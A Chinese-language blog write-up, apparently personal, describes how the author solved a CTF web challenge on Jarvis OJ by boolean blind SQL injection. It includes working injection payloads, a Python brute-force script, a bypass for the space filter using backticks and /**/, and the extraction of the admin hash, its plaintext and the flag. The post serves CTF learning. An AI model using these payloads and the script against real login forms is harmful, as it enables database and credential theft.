记录一道把我整的要死要活的 SQL 布尔盲注题
Jarvis OJ 启动!!
五一假期已经只剩一天了啊。真的快。 今天下午写 Go 时,室友在做南邮 CTF 上的 SQL 注入。那上面的两道 SQL 注入倒是挺基础的。但突然激起了我的兴趣 —— 想做做 SQL 注入了。 到 Jarvis OJ 上翻了下,还真有一道 ISCC 2016 年的 SQL 注入。原以为 ISCC 的难度都不大的,结果最后居然做了一个多小时……还是太菜了。 因此想写点东西记录总结一下~
开始吧~
题目地址:
Simple Injection http://web.jarvisoj.com:32787/
首先一上来是一个套 Bootstrap 写的登录的页面,尝试弱口令admin
admin
,发现回显报错密码错误
。接着随便输入一个用户名后,报错用户名错误
;那这八成就是布尔盲注了。
我 SQL 这一块其实会得不多,到现在连个视图都不会写。大概上网了解了下布尔盲注后,便开始做题。
这道题我们可以在用户名那里下手,我们已经知道了用户名为admin
,因此可以在查询语句后再拼接我们自己的条件语句,并通过用户名错误
和密码错误
的回显来得知我们的假设条件是否正确。
爆当前数据库名
直接可以用database()
来获取到数据库名。
因此只要构造,这样的 payload:
admin' AND ((ascii(substr(database(), 1, 1))) > 100) AND '1
就可以通过二分法逐位爆破数据库名。即截取数据库名的第一位,再转换成 ASCII 码,并与一个数字比较。**你会发现我这里有很多不必要的括号,刚开始我还没意识到这一点的原因,到后面一直跑不出来时才发现。**这就是这道题最坑的地方,我在后面会讲我是怎样发现的。 爆数据库名这里我们可以用 Python 写一个简单的脚本跑一下,偷偷懒:
import requests
ascii = []
for i in range(1, 10):
for j in range(1, 128):
payload = "admin' AND ((ascii(substr(database(), " + str(i) + ", 1))) > " + str(j) + ") AND '1"
r = requests.post('http://web.jarvisoj.com:32787/login.php', {
"username": payload,
"password": "1234"
})
if "用户名" in r.text:
ascii.append(chr(j))
result = ""
for item in ascii:
result += item
print(result)
break
最后跑出来数据库名为injection
。
巨大的天坑
获取数据库名后,就可以开始爆表名了。
然而,我改了无数次 payload,最后出来的都是用户名错误
,即条件不成立。当时真的是想不通,到最后,我开始不断缩减 payload。一直缩减到只有一个length()
。最后,我发现——**这题居然是给我过滤了空格!!**过滤了空格后,我的 SQL 语句就无法执行了,但是回显还是用户名错误
;导致完全无法分辨是 SQL 语句错误,还是条件不成立。
我发现过滤了空格的 payload 是这样的:
admin' AND (length('a ') = 2) AND '1"
结果返回的是用户名错误
,而改成length('a ') = 1
后则返回密码错误
,这就说明后端查询之前过滤了空格。真的是坑死我了。
爆表名
知道了以上这个坑后,注意一下使用反引号或'
来分割一下即可。
如果实在遇到需要空格的地方,使用/**/
代替即可。
爆表名就需要用到information_schema
这个库啦~
select `table_name` from `information_schema`.`tables` where `table_schema`='injection' LIMIT 1
同样,直接写脚本吧~
payload = "admin'AND(ascii(substr((select `table_name` from `information_schema`.`tables` where `table_schema`='injection'LIMIT/**/1)," + str(i) + ",1)) > " + str(j) + ")AND'1"
这里的LIMIT
那里就用了/**/
来替换空格,最后跑出来数据表名为admin
。
爆字段名
同样还是使用information_schema
这个库。
select `column_name` from `information_schema`.`columns` where `table_schema`='injection' and `table_name`='admin' limit 1,1
select `column_name` from `information_schema`.`columns` where `table_schema`='injection' and `table_name`='admin' limit 2,1
跟上面的脚本差不多,我这里是逐个字段逐个字段的进行爆破的,只需要更改LIMIT
那里即可。这里以爆破第一个字段为例。
payload = "admin'AND ((ascii(substr((select `column_name` from `information_schema`.`columns` where `table_schema`='injection' and `table_name`='admin'limit/**/1,1)," + str(i) + ",1))) >" + str(j) + ")AND'1"
爆出来表中存在两个字段:username
和password
。
爆出管理员的密码
知道了这些后,我们就可以爆出管理员的密码咯~
select `password` from `admin` where `username`='admin'
和上面的思路是相同的。这边注意把变量i
的range
调大一些,因为也不知道密码有多长
payload = "admin'AND ((ascii(substr((select `password` from `admin` where `username`='admin')," + str(i) + ",1))) >" + str(j) + ")AND'1"
最后爆出来是 md5 加密后的管理员密码:334cfb59c9d74849801d5acdcfdaadc3
。
后面这里其实也挺坑的,cmd5 解密还要钱,找了一下找到个站可以不登录解密:http://tw.freemd5.com
解密出来为eTAloCrEP
,用这个密码登录管理员账号,拿到flag:
CTF{s1mpl3_1nJ3ction_very_easy!!}
呼~ 总算做出来了呢! 虽然那个对空格的过滤把我整的要死要活的,但是拿到 flag 的那一瞬间,感觉之前的一切努力都是值得的呀!开心!!
喜欢这篇文章?为什么不打赏一下呢?